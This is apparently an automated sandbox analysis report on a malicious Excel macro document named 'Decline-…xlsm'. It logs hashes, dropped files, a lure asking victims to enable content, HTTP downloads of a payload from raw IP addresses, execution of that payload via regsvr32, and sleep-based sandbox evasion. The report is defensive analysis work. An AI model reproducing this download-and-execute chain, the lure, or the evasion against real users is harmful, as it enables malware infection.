Windows Analysis Report Decline-172917164-06242021.xlsm

ID:	440340
Product:	CloudBasic
Start time:	08:23:46
Start date:	25.06.2021
Sample:	Decline-172917164-06242021.xlsm
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Architecture:	WINDOWS
MD5:	f022a2159442cd4e16d7fe3dee1d634b
SHA1:	cd4a698d83059462498e48b8dec47662bd2a0ec4
SHA256:	4bd593279e649fae847a2b702655c571d7ca9e1949a422fa8d289250aeaa3305
Filetype:	Excel Microsoft Office Open XML Format document (40004/1) 83.33%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AD7B9C26.tif	TIFF image data, little-endian, direntries=19, height=1600, bps=53710, compression=LZW, PhotometricIntepretation=RGB, width=1600	BB737290D394078D8A16D5509C5BC970	C8A63B0AB1EB7745A0027E0A17A6CB4C6F79487E	E11121ECA3FAD55F66EA240EADD4F5B4C978828C94C34736F7673540529B17A5
C:\Users\user\AppData\Local\Temp\95DE0000	data	1DDE60AF4802D997D564DCC19FCF8924	01040AF635B254E2387CBDA2379A02C1ADD7B27B	59B39E1F85E3318A929558831AB2D65DAAA38292B613F65BDB8DBFD28ACE14A3
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Decline-172917164-06242021.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:15 2020, mtime=Fri Jun 25 14:24:40 2021, atime=Fri Jun 25 14:24:40 2021, length=328749, window=hide	2D3FA1E5457926B56AE6600BA3D476FA	2F3FA829061E0BD5BF8F24F2EF63DDABB39E478D	FE15AAA8305867D305D2944ED0BB890D09964D52FE972D0B169E3281204520F6
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Fri Jun 25 14:24:40 2021, atime=Fri Jun 25 14:24:40 2021, length=8192, window=hide	2580406BFAE06A1C59616E3B17B9C490	7330C14D2F37BB8B2DBB21665DBE1F38C5342D06	4CA54148064EFC7BF7E77972F5F24F437F80F671C8DC0C6C1668737F5B6F5D61
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat	ASCII text, with CRLF line terminators	C583482E01AB0E15D757BF76E7C5D737	FAD60796DF25EA9F73455FEF5ACB980371425D1C	39089D648F6A966B83E19AC3FEC4BF268C7574340248FE1700B47B497210812F
C:\Users\user\Desktop\66DE0000	data	4D63C3DCB6D2C3F5839B7FE96E34939D	8DAF3CA9BE70E9FE8BE12F12124F10E1AD077DDA	744118B0D611EED117C6907221549EAE6D477206EDD837F30EE55FABC2D8E328
C:\Users\user\Desktop\~$Decline-172917164-06242021.xlsm	data	96114D75E30EBD26B572C1FC83D1D02E	A44EEBDA5EB09862AC46346227F06F8CFAF19407	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

AV Detection:

Multi AV Scanner detection for submitted file

Source: Decline-172917164-06242021.xlsm

Virustotal: Detection: 17%

Perma Link

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 5.253.62.174:80

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 5.253.62.174:80

Networking:

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /44372.3504680556.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.253.62.174Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44372.3504680556.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.234.247.7Connection: Keep-Alive

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 5.253.62.174
Source: unknown	TCP traffic detected without corresponding DNS query: 5.253.62.174
Source: unknown	TCP traffic detected without corresponding DNS query: 5.253.62.174
Source: unknown	TCP traffic detected without corresponding DNS query: 5.253.62.174
Source: unknown	TCP traffic detected without corresponding DNS query: 185.117.73.74
Source: unknown	TCP traffic detected without corresponding DNS query: 185.117.73.74
Source: unknown	TCP traffic detected without corresponding DNS query: 185.117.73.74
Source: unknown	TCP traffic detected without corresponding DNS query: 185.117.73.74
Source: unknown	TCP traffic detected without corresponding DNS query: 185.117.73.74
Source: unknown	TCP traffic detected without corresponding DNS query: 185.117.73.74
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 5.253.62.174
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 185.234.247.7
Source: unknown	TCP traffic detected without corresponding DNS query: 5.253.62.174

Downloads files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AD7B9C26.tif

Jump to behavior

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /44372.3504680556.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.253.62.174Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /44372.3504680556.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.234.247.7Connection: Keep-Alive

Found strings which match to known social media urls

Source: regsvr32.exe, 00000003.00000002.2239080229.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2219822034.00000000048D0000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

URLs found in memory or binary data

Source: regsvr32.exe, 00000003.00000002.2239080229.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2219822034.00000000048D0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: regsvr32.exe, 00000003.00000002.2239080229.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2219822034.00000000048D0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: regsvr32.exe, 00000003.00000002.2239296805.0000000004AF7000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2220106197.0000000004AB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: regsvr32.exe, 00000003.00000002.2239296805.0000000004AF7000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2220106197.0000000004AB7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000003.00000002.2235431852.0000000003AE0000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2216228540.0000000003A90000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.2234626152.0000000001D20000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2215271352.0000000001CF0000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000003.00000002.2239296805.0000000004AF7000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2220106197.0000000004AB7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: regsvr32.exe, 00000003.00000002.2239296805.0000000004AF7000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2220106197.0000000004AB7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.2235431852.0000000003AE0000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2216228540.0000000003A90000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000003.00000002.2239080229.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2219822034.00000000048D0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: regsvr32.exe, 00000003.00000002.2239296805.0000000004AF7000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2220106197.0000000004AB7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: regsvr32.exe, 00000003.00000002.2239080229.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2219822034.00000000048D0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000004.00000002.2219822034.00000000048D0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Document image extraction number: 0	Screenshot OCR: Enable editing button from the yellow bar above Once you have enabled editing, please click Enabl
Source: Document image extraction number: 0	Screenshot OCR: Enable Content button from the yellow bar above

Found Excel 4.0 Macro with suspicious formulas

Source: Decline-172917164-06242021.xlsm

Initial sample: EXEC

Binary contains paths to development resources

Source: regsvr32.exe, 00000003.00000002.2239080229.0000000004910000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2219822034.00000000048D0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Classification label

Source: classification engine

Classification label: mal72.expl.evad.winXLSM@7/7@0/3

Creates files inside the user directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Decline-172917164-06242021.xlsm

Jump to behavior

Creates temporary files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRCCD0.tmp

Jump to behavior

Reads ini files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Reads software policies

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus

Source: Decline-172917164-06242021.xlsm

Virustotal: Detection: 17%

Spawns processes

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis1
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis2
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis1			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe regsvr32 ..\Kro.fis2			Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Document is a ZIP file with path names indicative of goodware

Source: Decline-172917164-06242021.xlsm	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Decline-172917164-06242021.xlsm	Initial sample: OLE zip file path = xl/calcChain.xml

Checks if Microsoft Office is installed

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\regsvr32.exe TID: 2228	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 532	Thread sleep time: -60000s >= -30000s			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2592	Thread sleep time: -60000s >= -30000s			Jump to behavior